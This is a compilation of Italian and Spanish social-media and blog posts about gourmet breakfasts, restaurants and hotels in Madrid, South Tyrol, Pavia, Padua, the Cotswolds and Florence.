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#colazioni gourmet
flaviatomaello · 1 year
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Siempre estuvo cerca. Madrid es siempre un cobijo amoroso que te recibe con un idioma, sabores con recuerdos a la cocina de casa y algo de un look and feel que te suena familiar.  Según se sabe que en el Paleolítico, hace 25.000 años aquí se encontraba el asentamiento humano más populoso de Europa. Gracias a esto hay una ciudad que cuenta con expresiones celtas, romanas, visigodas, árabes, medievales, de los borbones y de los Asturias, incluso se conserva un monumento del Antiguo Egipto: el Templo de Debod. Todo ello se resume en su cultura gourmet.
Aquí te recomiendo (en italiano) en @LaMadiaTravelfood una ruta por dos días de desayuno, almuerzo, tapas, té, cena siguiendo las nuevas tendencias que ponen el ritmo a la cocina de la capital española.
#Madrid #España #milenials #elegancia #lujo #sharehapiness #heartcrafted #hotelfeliz #felicidad #turismo #travel #viajar #trip #nature #photography #viajes #travelphotography #instatravel #ig #fotografia #travelgram #instagood #photooftheday  #FlaviaTomaello
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i-am-a-polpetta · 2 years
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potrei come non potrei aver versato il latte dentro lo stesso bicchiere dove ieri sera ci ho bevuto la coca cola e questo latte potrebbe come non potrebbe essere diventato di un colore accattivante tipo nocciolino e io potrei come non potrei non essermene accorta, averne bevuto un po', aver sentito che fosse lievemente frizzantino e adesso credo che pregherò affinché non mi venga lo squaraus perché RAGA È TUTTO VERO
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abatelunare · 3 years
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Colazioni da gourmet
A colazione ho preso due fette biscottate. Le ho mangiate così. Senza niente sopra.
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digitalandy · 4 years
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Terra, Sarentino
Sempre meglio questo luogo unico e prezioso adagiato a 1.600 metri con una ampia vista sulle dolomiti. Accanto al ristorante ormai due stelle Michelin c'è un piccolo resort con belle e comode stanze e una spa con bagni di fieno, sauna e idromassaggio con vista.
La sala del ristorante si conferma stupenda con la cantina sospesa, l'ampio muro a vetri che da' sulla cucina e i pilastri rivestiti di tronchi di betulla. Il tutto con la vista sulla verde valle sottostante e le dolomiti sul fondo.
Il menu di degustazione è pressoché perfetto. Tutti i piatti portano un mix di tecnica eccellente e di sapori sorprendenti. Tutti gli ingredienti vengono usati al meglio e la concentrazione dei sapori si accompagna a degli impiattamenti molto belli e mai scontati.
Il raviolo glassato alle erbe selvatiche è forse la migliore rappresentazione dello stile di questa cucina. Le erbe e la pasta ben equilibrata si sposano con una glassa intensa che venie da diverse tipi di carni ed erbe concentrate in tempi lunghissimi. Una ricercatezza e una cura nel processo che si trasforma in un piatto buonissimo.
La lista dei vini è ampia e va ben oltre la regione e l'Italia con etichette interessanti e con un buon numero di annate passate.
Degne di nota anche le colazioni con prodotti ricercati come i salumi e i formaggi che vengono da produttori selezionati localmente. Lo speck della valle è delizioso e per morbidezza e gusto si avvicina quasi ad un prosciutto crudo. Il souffle delle albicocche della Val Venosta è un bel modo per iniziare la colazione.
Il servizio è attento e molto competente.
https://terra.place/it/restaurant.html
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antoninopadovese · 4 years
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🇮🇹Quando il tavolino è troppo piccolo... Per due mesi abbiamo dovuto rinunciare al rito del caffè al bar che oggi possiamo riassaporare. Ma in questa immagine non si vedono tazzine ma salmone, uova, spremuta, yogurt e tante altre delizie. Il Calandrino sabato e la domenica propone le colazioni gourmet con una scelta fra dolce e salato. In coppia si possono scegliere entrambi e costruirsi un personale percorso. Enjoy! 🇬🇧#breakfast #gourmet #sweetbreakfast #saltbreakfast #weekend #padua #alajmo #michelinstar (presso Il Calandrino) https://www.instagram.com/p/CBT0LNmlJrj/?igshid=1qivsxd54ucev
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fashioncurrentnews · 6 years
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Vacanze in montagna. A Merano rooftop pools e indirizzi gourmand
Che sia per una piscina a sfioro sospesa tra le montagne (la piu instagrammata dell’Alto Adige), per il pane nero appena sfornato su cui spalmare burro e marmellata fatti in casa, oppure per una malga hipster con musica jazz filodiffusa dai tavoli di abete, Merano e dintorni  sono l’ideale sintesi di tradizioni contadine e innovazione di tendenza che soprende anche chi non è fan della montagna.
L’approccio lifestyle alla vacanza comincia dal Boutique Hotel Miramonti, che si affaccia su Merano dalla cima di Avelengo e svetta, insieme al Lago di Braies, al top dei luoghi piu fotografati sui social: merito di un’architettura che rispetta la tradizione altoatesina con tocchi arditi come la sua spa di pietra grigia e legno scuro, da cui fuoriesce un parallelepipedo bianco: un’infinity pool che domina la valle. Le camere sono in stile nordico, legno chiaro, tessuti ricchi, grandi finestre per accogliere tutta la bellezza della scenografia naturale. La colazione si può fare anche nel bosco, su un tavolo con vista imbandito di tutto punto, dopo un piacevole e ritemprante forest bathing. Ma anche il ristorante offre un panorama spettacolare almeno quanto la cucina, sempre stagionale e passionale ma sofisticata, realizzata con le eccellenze del territorio.
Eccellenze che si esaltano poco lontano, in alta quota, in una versione insolita della tradizione rurale e montana, alla malga Gompm Alm. Per raggiungerla si prende la funivia da Saltusio in val passiria e si sale a 2000 mt, quindi si procede sul facile sentiero 40 attraversando praterie punteggiate dai cirmoli e dagli abeti, fino a raggiungere un piccolo gruppo di baite circondato da mucche e cavalli al pascolo. La malga è guidata da 27 anni da Helli, una specie di Thor biondo, muscoloso e tatuato con un passato da scultore e dj, che con passione e dedizione ha recuperato la malga del nonno e oggi elabora piatti ricercati e gustosi (il locale è inserito nel percorso “Pura qualita in montagna”). Ogni domenica la cucina sforna pane casereccio, mentre le materie prime utilizzate arrivano direttamente di contadini della zona o da agricoltura bio. Inoltre propone aperitivi musicali nel prato su poltrone di legno con altoparlanti incorporati, prepara cestini picnic/gourmet, e organizza passeggiate a cavallo, oltre a concerti fino a fine ottobre. Noi abbiamo mangiato: crema di piselli con speck pane fatto in casa e fiori; arrosto di vitello con composta di cipolle di Tropea e schüttelbrot; costata di manzo della malga accanto e per finire l’immancabile kaiserschmarren.
La campagna intorno a Merano è famosa anche per la viticultura di alta qualità. A Cermes, per esempio, si trova la tenuta Kränzel, che comprende oltre ai vigneti e al giardino disseminato di opere d’arte, anche un edificio medievale e il ristorante Miil. Qui si possono degustare i vini biodinamici prodotti dal giovane Conte Franz von Pfeil- come l’Helios, il Baslan Schiava e il dolce Corona – oltre ai piatti creati da Othmar Raich. Si torna in pieno centro, invece, per scoprire le novità dell’hotel delle Terme di Merano: all’edificio hanno infatti aggiunto l’anno scorso una sky spa con rooftop pool da cui si gode la vista sulla città e le montagne. Le saune panoramiche, con fieno e aromi di montagna, rilassano e intrattengono. Uno spa menu di trattamenti si ispira ai 4 elementi e il massaggio tuina e detox, da provare, riprendono i principi della medicina cinese.
Finale al paese di Lana, con centro storico disseminato di masi, da cui parte la funivia per il monte San Vigilio. L’ultima apertura (luglio 2018), qui, è  il 1477 Reichhalter – Eat & Sleep: un edificio di 5 secoli che ospitava una trattoria oggi recuperato da Klaus Dissertori con un progetto rispettoso, che si avvale di mobili d epoca preesistenti o comprati da mercatini, e mischiati con gusto pulito, internazionale ed eclettico in 8 stanze e nel ristorante con patio e pergola di vite, dove gustare colazioni, lunch e aperitivi preparati da un giovane chef con ingredienti della zona. Prima di ripartire da Merano, una ideale passeggiata di shopping parte dai portici del centro per arrivare al quartiere di Maia alta, dove si trova l’imperdibile Monocle Shop: il tempio dello stile intellectual-chic selezionato dalla sempre aggiornatissima rivista di Tyler Brûle.
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italiaatavola · 5 years
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Lino, il ristorante di Pavia che mette il territorio nel piatto
Oggi è il ristorante di tendenza di Pavia. Si trova dove prima sorgeva una storica libreria della città, punto di riferimento per gli studenti dell’Ateneo pavese. Un locale di tendenza e che non si accontenta, in quanto è pronto a fare un ulteriore salto di qualità che potrebbe far tornare a Pavia la brillante stella Michelin. Affacciato sulla piazza del Lino, un tempo punto d’incontro per agricoltori e commercianti Pavesi, il Ristorante Lino si propone ancora oggi come un luogo in grado di unire la cultura e i frutti del territorio e la storicità antica della città di Pavia. La cucina, seguita da Andrea Ribaldone e guidata ad arte da Federico Sgorbini e dal pastry chef Gabriele Tangari, si propone di recuperare tutti quei prodotti che rappresentano al meglio il pavese, con uno sguardo nuovo e fresco alla ricerca di stagionalità, sapori e accostamenti nuovi.
Sale luminose, ampie vetrate, un ambiente d’ispirazione déco e un’atmosfera confortevole ed elegante, che si estende fino all’esterno con il dehor nella piazza da cui il Ristorante prende il nome, come vero e proprio omaggio alla città. «Stiamo puntando molto sulla territorialità rivista in piatti gastronomici - spiega Ribaldone - Riteniamo che coinvolgere il territorio nella cucina rappresenta un ottimo biglietto da visita per chi ci viene a trovare. Un omaggio al territorio che ci ospita. Una cucina che coinvolge cuore e pancia, intesa come emozione. Stessa cosa vale per la carta dei vini che contempla una variegata selezione di prestigiose etichette dell’Oltrepò Pavese, zona purtroppo poco conosciuta ma che regala importanti sorprese nel bicchiere».
Per l’occasione è stato presentato il menù estivo del Lino, una selezione di piatti che non dimenticano la territorialità mixata ad una cucina più gastronomica. Il giusto connubio capace di emozionare ed entusiasmare i palati per la precisione nella gestione dei prodotti, per la qualità degli stessi e per la capacità di coniugare sapori tante volte agli antipodi come la maionese di ostriche con la bavetta di manzo. Un locale che guarda avanti non solo nell’elaborazione del piatto ma anche sotto altri aspetti.
«A breve partiranno degli importanti lavori che porteranno il Lino ad essere un locale a 360 gradi, dinamico, capace di dare una scossa positiva, ce lo auguriamo, al mondo della ristoranzione pavese - dice ancora Ribaldone - Al ristorante gourmet si affiancheranno un bistrot, poi un’altra ala che considero più ibrida per le colazioni e la degustazione della pizza ed, infine, una cantina accostata ad un’area dedicata agli assaggi dei dessert. Un passo in avanti non da poco che speriamo ci possa regalare delle soddisfazioni. Noi ci crediamo».La brigata e il menu sono frutto del percorso di consulenza dello chef stellato Andrea Ribaldone che, insieme al resident chef Federico Sgorbini e al Restaurant Manager Fabrizio Ciccarello coordinano il ristorante. In cucina a sposarsi sono due spiriti diversi ma congruenti: quello affermato di Ribaldone che ripercorre i piatti della tradizione, filtrati attraverso l’immaginazione dello chef per dare vita a versioni nuove e rigenerate. Parole d’ordine: materia prima, genuino e territorio. Un menu studiato in collaborazione con il resident chef Federico Sgorbini. Tutto questo lo si è ritrovato nel menù proposto per la degustazione. A comunicare dalla primavera vegetale, gelato alla cipolla rossa di Breme. «Prodotti semplici, ben coniugati - come spiega Sgorbini - Il piatto è il frutto di una scelta meticolosa delle verdure». Ad entusiasmare il palato è stato l’uovo della Valle Staffora, bianco e nero di seppia. Il nero del primo impatto viene completamente stravolto dall’apertura dell’uovo, il gusto è pieno e bilanciato. Cosa non semplice perché sono stati associati due prodotti completamente distanti come un uovo (rigorosamente di pollaio come spiegato dallo chef Sgorbini) ad un prodotto di mare come le seppie. In accostamento un must dell’Oltrepò pavese, ovvero il Metodo Classico rosé dell’azienda agricola Monsupello, personalità fresca ed elegante, ricca di vivaci note fruttate e floreali, prodotto con Metodo Classico e affinato per 18 mesi sui lieviti. A seguire gnocchi di ricotta, melanzane e pomodoro, si tratta di un piatto leggero, dai sapori equilibrati. In accostamento è stato servito un Riesling oltrepadano dell’azienda La Piotta, prodotto dal profumo intenso e ampio, caratteristico di questo vitigno internazionale. Ha una buona persistenza. Sicuramente a catalizzare l’attenzione in tavola è stata la bavetta di manzo, ostriche e alghe. Sapori decisi, quelli di questo piatto così innovativo che ha saputo mixare due prodotti completamente antitetici. L’accostamento della maionese di ostriche al manzo si vede che è stato calibrato nei minimi particolari in quanto la prima non risultava stucchevole e ben accompagnava la bavetta. Al palato sembra un accostamento quasi naturale. Nel bicchiere è stato servito il Buttafuoco Storico della cantina Giorgi di Canneto Pavese. Si tratta di un vino strutturato, con buona alcolicità e con profumi intensi. Quelli classici di questo vino che prende forma sulle colline sopra Stradella. A chiudere il dolce “Di Voghera? E che zuppa!”, una torta Paradiso imbevuta di caffè con disco di cioccolato accostata al passito Noblerot della cantina Montelio. A ripulire il palato ci ha pensato il Meccano, cocktail ideato dal bartender Luigi Barberis con Bourbon, St.German e spruzzo grintoso di soda di limone. Gusto deciso e torbato ma piacevole. Un fine pasto complesso. Un piacevole menù che ha espresso qualità, ricerca della materia prima e territorialità. Tre qualità tante volte osannate dagli chef, ma il più delle volte non rispettate. Qui ci sono. Successo e gran classe in cucina, questa è la carta d’identità dello chef Andrea Ribaldone. Classe 1971, nasce a Milano anche se è il Piemonte a chiamare “casa”. Fin da bambino è amante della buona cucina, sono mamma e nonno infatti a metterlo sulla strada dei migliori ristoranti, fino al 2003 quando al ristorante La Fermata ottiene la prima stella Michelin. Uno chef con un grande spirito da imprenditore che nel 2012, senza abbandonare la passione viscerale per il cibo, fonda Arco srl, una società di consulenza e formazione, ricerca e valorizzazione, una fusione di collaboratori che coordinati da Ribaldone mettono a frutto la sua stessa esperienza al fine di migliorare la conoscenza del cibo italiano. Nel frattempo non si ferma e nel 2015 ottiene la stella nel suo ristorante I Due Buoi di Alessandria, aperto da poco più di un anno. Durante Expo coordina oltre 100 chef alla guida del Temporary Restaurant Identità Expo confermandosi ancora una volta “Chef Manager”. Nel 2016 inizia la sua collaborazione anche in Puglia dove coordina, insieme a Domenico Schingaro, i sei ristoranti di Borgo Egnazia e, a marzo 2017, lascia Alessandria per aprire Osteria Arborina nella frazione Annunziata di La Morra, nelle Langhe, ottenendo in breve tempo la Stella Michelin. Da settembre 2018 cura l’intera ristorazione di Identità Golose Milano, il primo hub internazionale della gastronomia in via Romagnosi 3. Un personaggio dinamico e carismatico che ha scommesso su Lino, dando una scossa positiva al ristorante portavoce del territorio Pavese.Per informazioni: www.ristorantelino.com
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mademoisellesabi · 6 years
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Vi ho già raccontato in un post dedicato dello splendido viaggio nelle Cotswolds, dove vi ho raccontato quali villaggi vanno assolutamente visitati nella zona. E nel post Cotswolds: come arrivare e come spostarsi, appunto come raggiungerle e come spostarvi. Oggi, in questo post, voglio suggerirvi dove dormire e dove mangiare.
A mio avviso, considerato come sono distribuiti i villaggi più belli nella zona e se decidete per un’unica sistemazione, vi consiglio di soggiornare nella parte nord delle Cotswolds. Noi avendola vista in più occasioni e per esigenze legate alla zona dalla quale arrivavamo abbiamo soggiornato anche a Castle Combe, Bibury e Lacock, quindi non a nord, in ogni caso, sotto il punto di vista logistico, essendo collocati verso nord molti dei villaggi da vedere è una scelta migliore. Poi a voi la scelta, io come ho visto CASTLE COMBE e Bibury, ho deciso che avrei dovuto passarci almeno una notte, se non tutta la vita.
Le Cotswolds offrono una ricca e splendida gamma di luoghi di soggiorno, moltissimi di alto livello. Lussuose residenze di campagna con giardini tranquilli e ottimi ristoranti; accoglienti locande (inn) o pub rinnovati sebbene caratteristici, ritiri chic in Manieri d’epoca dotati di ogni confort.
Qui sotto vi segnalo alcune soluzioni con diverse fasce di prezzo, collocate nei villaggi che vi ho suggerito di visitare nel post Cotswolds, cosa vedere: i meravigliosi villaggi nella romantica campagna inglese. Quelli che ho individuato e che vi suggerisco non sono semplici sistemazioni per la notte, stanze dove dormire, perché a mio avviso nelle Cotswolds vale la pena fare uno sforzo economico più che in altre zone e scegliere un alloggio in sintonia con l’ambiente circostante, con il meraviglioso paesaggio. Dormire in un maniero o in una residenza di campagna anche per una notte sola vale la pena, la sera dopo magari scegliete una locanda o un pub, se non potete permettervi più notti nella struttura extra lusso, ma anche per provare un’esperienza diversa, sempre entusiasmante. La maggior parte delle strutture non è proprio a buon mercato, anche se qualcosa per 90,00/100,00 euro a notte si trova e anche in strutture più che dignitose, pub e locande, soprattutto, prenotando con largo anticipo o all’ultimo minuto. In generale, il livello delle strutture proposte è alto: dall’attenzione per l’arredamento alla pulizia, dalle ottime colazioni al paesaggio che circonda le strutture che rende tutto più bello. Vi suggerisco di prenotare il vostro alloggio con discreto anticipo, è una zona molto gettonata, anche se io, che ho prenotato a Castle Combe in loco, all’ultimo minuto ho spuntato un’ottima tariffa, ma nel mio caso però non era un periodo di alta stagione.
Ma veniamo al dunque. Eccovi alcuni suggerimenti:
CASTLE COMBE
Castle Inn Sorge sulla Piazza del Mercato ed è una locanza (Inn) risalente al XII secolo. Le camere, con vista sulla Piazza, sono eleganti, arredate con mobili d’epoca, nella nostra camera c’era il letto a baldacchino, tessuti pregiati, dispongono di un set per la preparazione di tè e caffè e di un bagno nuovo con vasca. Sembra di essere in un’altra epoca. Per un prezzo ragionevole, tenendo conto della zona, 115,00 sterline (circa 130,00 euro) con colazione. La locanda dispone di ristorante, ovviamente, di ristorante l’Oliver’s che propone cucina britannica creativa e una ricca carta dei vini, e di un pub che serve pasti informali e spuntini leggeri. Parcheggio pubblico disponibile in strada. Prezzi: euro 110,00/160,00. Indirizzo: Castle Combe, Wiltshire SN14 7HN, Regno Unito. Telefono +44 1249 783030 Sito web: http://www.thecastleinn.co.uk/
Castle Inn
Camera Castle Inn
The Manor House, an Exclusive Hotel & Golf Club Antica country house (hotel cinque stelle), lo splendido edificio immerso in un parco di 147 ettari è rimasto intatto dal 17° secolo. Le lussuose camere, tutte diverse e personalizzate, hanno arredi moderni e tradizionali e dispongono di set di cortesia di lusso, set per la preparazione di tè/caffè. Il ristorante Bybrook, stellato Michelin, propone un menù vario e fantasioso. A The Manor avrete modo di praticare diverse attività, tra cui il golf, il tennis, il croquet e la pesca con la mosca, in stagione. L’ingresso di The Manor si trova a 200 dalla Piazza del Mercato anche se il parco, essendo molto esteso, si estende ben oltre la Piazza. L’ideale per un soggiorno da sogno! Parcheggio pubblico disponibile gratuitamente in loco senza prenotazione. Prezzi: euro 220,00/350,00. Indirizzo: Castle Combe, Chippenham SN14 7HX, Regno Unito. Telefono +44 1249 782206 Sito web: https://www.exclusive.co.uk/the-manor-house/
Manor House
BIBURY
The Swann Hotel Situato nel cuore del villaggio di Bibury, sulle rive del fiume Coln, l’elegante albergo dispone di 22 sistemazioni dallo splendido design, caratterizzate da uno stile personalizzato e da un comfort studiato nei minimi dettagli, dispongono di ampi bagni completi accappatoi e set di cortesia Molton Brown. L’hotel offre dalla colazione, al pranzo, alla cena tutti i giorni, inoltre la Swan Brasserie, molto apprezzata dagli ospiti e frequentata anche dai locali, propone un gastronomia di primo livello, compresa la famosa trota locale di Bilbury. Nell’elegante bar potrete consumare uno spuntino o sorseggiare un tè pomeridiano nell’accogliete biblioteca, oppure rilassarvi nei giardini privati sulla riva del fiume, dove avrete modo di osservare anatre, cigni e pesci. Parcheggio pubblico disponibile gratuitamente in loco senza prenotazione. Prezzi: euro 110,00/300,00, alcuni prezzi indicati nel sito dell’hotel o nelle piattaforme di ricerca come Booking.com si intendono compresi di colazione, pranzo e cena. Indirizzo: Bibury, Cirencester GL7 5NW, Regno Unito. Telefono +44 1285 740695 Sito web: http://www.abbotsgrange.com/
The Swan Hotel
TETBURY
The Hare and Hounds Hotel Una tipica casa di campagna immersa nel verde. Nell’edificio originale, nel Garden Cottage e nella Coach House troverete camere da letto, dove l’attenzione ai dettagli non manca: letti curatissimi, lavandini old style e tappezzeria d’antan. Le camere, in molti casi, sono affacciate sui giardini o sulla campagna. La struttura vanta un raffinato e premiato ristorante il Beaufort e un bar il Jack Hare’s, accogliente e dall’atmosfera più informale, dove vi attendono caminetti, birre e piatti gustosi. Ubicato a 800 metri dal parco Westonbirt National Arboretum è immerso tra giardini e boschi. Highrove, la residenza estiva del principe Carlo e di Camilla è a due passi. Una guida esperta vi accompagna in un’imperdibile visita dei giardini. Parcheggio gratuito senza prenotazione. Prezzi: euro 100,00/320,00. Indirizzo: Bath Rd, Westonbirt, Tetbury GL8 8QL, Regno Unito. Telefono +44 1666 881000 Sito web: https://www.cotswold-inns-hotels.co.uk/hare-and-hounds-hotel/
BROADWAY
Abbotts Grange – Adult Only Maniero medievale oggi riconvertito in bed&breakfast, riservato ai soli adulti. Nelle sue stanze un tempo hanno dormito Oscar Wilde, Claude Monet, Edwin Abbey e Edward Elgar. Romantico e ricercato, offre suite con letto a baldacchino con raffinate lenzuola in cotone egiziano, un’area salotto e un bagno scintillante con soffici teli e set di cortesia. Ha un salotto da mille e una notte in cui trascorrere le serate davanti al camino sorseggiando un buon bicchiere. Ogni mattina, nella sala ristorazione potrete gustare una squisita colazione all’inglese, accompagnata da frutta fresca di stagione, o opzioni più leggere o vegetariane. Dotato di parcheggio privato gratuito, dista 2 minuti a piedi dalla via principale dove troverete boutique e ristoranti. La struttura, a conduzione familiare, è circondata da oltre 3 ettari di giardini con campo da croquet, pista per elicotteri e magnifica vista sulle Cotswolds. Sei vuoi regalarti un soggiorno di prima classe, questo è il posto che fa per te! Parcheggio privato disponibile gratuitamente in loco senza prenotazione. Prezzi: euro 170,00/460,00. Indirizzo: Church St, Broadway WR12 7AE, Regno Unito. Telefono +44 20 8133 8698 Sito web: http://www.abbotsgrange.com/
Buckland Manor – A Relais & Chateaux Hotel La dimora risale al XIII secolo ed è immersa in un parco con meravigliosi giardini, prati da croquet e campi da tennis. Le sue sontuose camere dispongono arredamenti ricercati e ogni confort, alcune camere hanno letti a baldacchino o mobili d’epoca. Il premiato ristorante propone una cucina raffinata e un moderno menù britannico. Il ristorante formale propone prelibatezze quali Gloucestershire Pork affumicato e Poached Everleigh Farm Duck Egg. Parcheggio privato disponibile gratuitamente in loco senza prenotazione. Prezzi: euro 230,00/580,00. Indirizzo: Broadway WR12 7LY, Regno Unito. Telefono +44 1386 852626 Sito web: https://www.bucklandmanor.co.uk/
BOURTON ON THE WATER
The Lamb Inn Locanda nei pressi della pittoresca Bourton-on-the-Water, a 5 chilometri, offre camere e suite di lusso a prezzi moderati, in alcuni casi, di pareti in pietra di Cotswold, letti king-size, bagno privato. Il ristorante Lamb Inn offre un’atmosfera rilassata e intima e serve i migliori prodotti delle Cotswolds e non solo. Parcheggio privato disponibile gratuitamente in loco senza prenotazione. Prezzo: euro 110,00/450,00. Indirizzo: Leasow Ln, Great Rissington, Cheltenham GL54 2LN, Regno Unito. Telefono +44 1451 820388 Sito web: https://www.cotswoldinn.co.uk/it-it
UPPER SLAUGHTER
Lords of The Manor Un’antica canonica secentesca oggi convertita in lussuoso albergo, immersa in un parco di 8 acri con parchi e giardini, è tra i 200 migliori hotel dell’intero paese. Tutte le camere sono personalizzate nel design e dotate di arredi eleganti, alcune regalano una vista sul parco e sul laghetto. Se siete dei gourmet e volete godervi una cena strepitosa potete farlo nel ristorante dell’albergo che offre una squisita cucina premiata, che vanta una stella Michelin e 3 premi Rosetta per la sua raffinata cucina. Per un soggiorno principesco! Parcheggio pubblico disponibile gratuitamente in loco senza prenotazione. Prezzo: euro 280,00/700,00. Indirizzo: Upper Slaughter, Cheltenham GL54 2JD, Regno Unito. Telefono +44 1451 820243 Sito web: https://www.lordsofthemanor.com/
LOWER SLAUGHTER
The Slaughters Country Inn Hotel a 5 stelle adagiato lungo il fiume in un edificio in pietra di Cotswold è circondato da 1,6 ettari di terreno, dispone di 31 camere dal design curato e ognuna differente dall’altra. Le camere includono una TV, la connessione gratuita e un bagno privato moderno, completo di soffici asciugamani bianchi, set di cortesia pregiato, vasca e una doccia. L’hotel sorge nel centro di Lower Slaughter e dispone di un ristorante che offre un moderno menù con ottimi piatti con prodotti stagionali locali. Se ci andate d’Estate godrete della bellissima terrazza affacciata sul fiume Eye, dove consumare pasti e drink. L’hotel dispone anche di un elegante bar con travi a vista e caminetti accesi. Parcheggio pubblico disponibile gratuitamente in loco e non prenotabile. Prezzi: euro 150,00/450,00. Indirizzo: Leasow Ln, Great Rissington, Cheltenham GL54 2LN, Regno Unito. Telefono: +44 1451 820388 Sito web: https://www.theslaughtersinn.co.uk/
The Slaughters Manor House Dimora del diciassettesimo secolo con elementi originali d’epoca, le camere tutte personalizzate sono arredate con gusto, alcune dispongono di letto a baldacchino o di lussuose romantiche vasche da bagno. Il ristorante Sixteen58, anch’esso decorato con arredi eleganti, serve la colazione ogni mattina e propone ricette creative a base di ingredienti locali di prima qualità, ma anche piatti per esigenze dietetiche particolari. L’ambiente è molto chic, sarete circondati da caminetti accesi e da splendidi oggetti d’epoca. Parcheggio pubblico disponibile gratuitamente in loco senza prenotazione. Prezzi: euro 350,00/780,00. Indirizzo: Copsehill Road, Lower Slaughter, Cheltenham GL54 2HP, Regno Unito. Telefono +44 1451 820456 Sito web: https://www.slaughtersmanor.co.uk/
Spero con questo articolo e gli altri sulle Cotswolds di avervi dato tutte le informazioni necessarie per organizzare al meglio il vostro viaggetto nelle Cotswolds. Per qualsiasi altra informazione non esitate a contattarmi o a lasciare un commento qui sotto.
Leggi anche: South East England, cosa vedere: tra scogliere a picco sul mare, baie inaspettate e villaggi fatati (diario di viaggio)
COTSWOLDS: MANIERI, HOTEL, LOCANDE DOVE DORMIRE E MANGIARE Vi ho già raccontato in un post dedicato dello splendido viaggio nelle Cotswolds, dove vi ho raccontato quali villaggi vanno assolutamente visitati nella zona…
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cento40battute · 7 years
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Firenze: camera con vista all’Hotel Brunelleschi, Palazzo Ruspoli o Appartamenti della Signoria
I migliori hotel nella culla del Rinascimento
Firenze è una città unica al mondo. Passeggiare per i lungarni, ammirare la cupola del Brunelleschi, entrare nella galleria degli Uffizi o fare un giro per il giardino di Boboli: tutto ciò e molto di più vi permetterà di varcare la soglia di un tempo senza tempo. Ma dove soggiornare? Vi diamo alcuni consigli in modo da rendere perfetta la vostra permanenza.
Hotel Brunelleschi, tra storia e arte culinaria
Hotel Brunelleschi suite
Hotel Brunelleschi
Ristorante S.Elisabetta
L’Hotel Brunelleschi coniuga la storia rinascimentale di Firenze con uno stile unico e incantevole. L’albergo presenta nella facciata la torre più antica della città, di epoca bizantina, con all’interno i due ristoranti della struttura (Osteria della Pagliazza al piano terra e Ristorante Santa Elisabetta al primo piano).  Inoltre, l’Hotel Brunelleschi possiede i resti di una chiesa medievale e un museo privato con reperti ritrovati durante il restauro della torre. E presenta, per di più, un calidarium di origine romana, incastonato nelle fondamenta. L’albergo è arredato con elementi moderni e colori leggeri in modo da far risaltare i dettagli storici, e il tutto è decorato da eleganti stoffe fiorentine. A tal proposito e se interessati, potrete visitare la mostra “Tessuto e ricchezza a Firenze nel ‘300”, presso la Galleria dell’Accademia fino al 18 marzo. Qui vi stupirete nell’osservare la grande qualità della seta e della lana fiorentine, che si erano imposte sul mercato europeo ed asiatico proprio nel Trecento, quando si iniziava ad affermare un nuovo fenomeno: quello della moda.
Dal mese di febbraio 2017 la proposta gastronomica dell’albergo è firmata dallo Chef Rocco De Santis, che, con il Ristorante Santa Elisabetta, offre uno degli indirizzi gastronomici più interessanti di Firenze. È stato segnalato nella Guida Michelin 2018 con il punteggio di 3 forchette e 1 piatto e dalla guida gastronomica de L’Espresso con un cappello. È aperto dal martedì al sabato, dalle 19.30 alle 22.30 e ogni venerdì e sabato ospita la rassegna gourmet dei sabati enogastronomici.
La più informale “Osteria della Pagliazza”, invece, apre tutti i giorni dalle 12.30 alle 14.30 e dalle 19.30 alle 22.30. Durante i mesi più caldi ha anche tavoli all’aperto sulla affascinante piazzetta antistante l’albergo, e propone un menu gustoso di piatti con ingredienti a chilometro zero.
Hotel Brunelleschi: prezzo in camera doppia a partire da Euro 246 per camera a notte inclusa prima colazione a buffet
  Palazzo Ruspoli ed eventi “squisiti”
Per chi invece viaggia con un gruppo di amici consigliamo di pernottare a Palazzo Ruspoli, caratterizzato da una piccola reception, una sala colazioni e 12 camere, di cui alcune con affaccio sul Duomo. I turisti più curiosi potranno visitare “Taste”, un evento enogastronomico dal 10 al 12 marzo, alla Stazione Leopolda. Giunto alla sua tredicesima edizione, il “Taste” vedrà un salone dedicato alle prelibatezze culinarie con i più grandi operatori internazionali della gastronomia, oltre a conferenze e seminari. Per di più, potrete partecipare a FuoriDiTeste, un programma di circa 100 appuntamenti nei luoghi più conosciuti e stravaganti di Firenze, con cene, degustazioni a tema, installazioni, spettacoli e performance.
Inoltre, dal 10 al 12 marzo Firenze sarà visitabile una mostra interessantissima a Palazzo Strozzi: “Nascita di una nazione, Arte italiana dal Dopoguerra al Sessantotto”. Saranno esposte opere di Renato Guttuso, Lucio Fontana, Alberto Burri, Mario Schifano e Michelangelo Pistoletto, per illustrare la contrapposizione tra Realismo e Astrazione nel dopoguerra, l’affermazione dell’Informale negli anni ’50, fino alla Pop art e all’Arte concettuale degli anni Sessanta.
Palazzo Ruspoli: Camera Doppia Comfort a partire da Euro 76,00 per camera a notte inclusa prima colazione a buffet.
  Appartamenti Piazza della Signoria: momenti da condividere
Per le famiglie con bambini, ma non solo, sarebbe perfetto soggiornare negli Appartamenti in Piazza della Signoria, da cui godere di un panorama mozzafiato, approfittare della centralità della struttura e rilassarsi in un ambiente confortevole. Ciascun appartamento può ospitare fino a 3 o 4 persone, è di circa 40-50 metri quadri, ha un angolo cottura ed a seconda dell’appartamento può avere 1 o 2 camere matrimoniali e fino a 2 bagni. Nel caso di gruppi più numerosi è possibile rendere gli appartamenti comunicanti, per creare un’unica unità abitativa con quattro stanze e molto più spazio a disposizione.
Se viaggiate con bambini, il modo migliore per farli appassionare all’arte sarebbe di portarli alla mostra interattiva “Monet experience and the Impressionists”, aperta fino al 1 maggio all’Auditorium Santo Stefano al Ponte. Si tratta di un allestimento di immagini che si nascondono e si dilatano a 360°, oltre a sonorità che accompagnano il visitatore per questo percorso esperienziale. Oppure se siete nei paraggi dal 2 all’11 marzo un salto alla Fiera del Cioccolato Artigianale, è d’obbligo.
Appartamenti in Piazza della Signoria: a partire da Euro 135,00 a notte incluse utenze, internet wi fi, biancheria da bagno, letto e canovacci da cucina, linea di cortesia Maison Dr Vranjes, pulizie finali.
Renata De Sandro
  Hotel Brunelleschi Via de’ Calzaiuoli – Piazza Santa Elisabetta 3 – 50122 Firenze - Italy Tel. +39 055/27370 – Fax+39 055/219653 [email protected]  www.hotelbrunelleschi.it Palazzo Ruspoli  Via de` Martelli, 5 - 50129 - Firenze  Tel.+39 055/2670563 - Fax+39 +055/2670525  [email protected]  www.palazzo-ruspoli.it Appartamenti in Piazza della Signoria Piazza della Signoria 2 - 50122 Firenze  Tel. +39.338.4516597 [email protected] www.appartamentilussofirenze.it
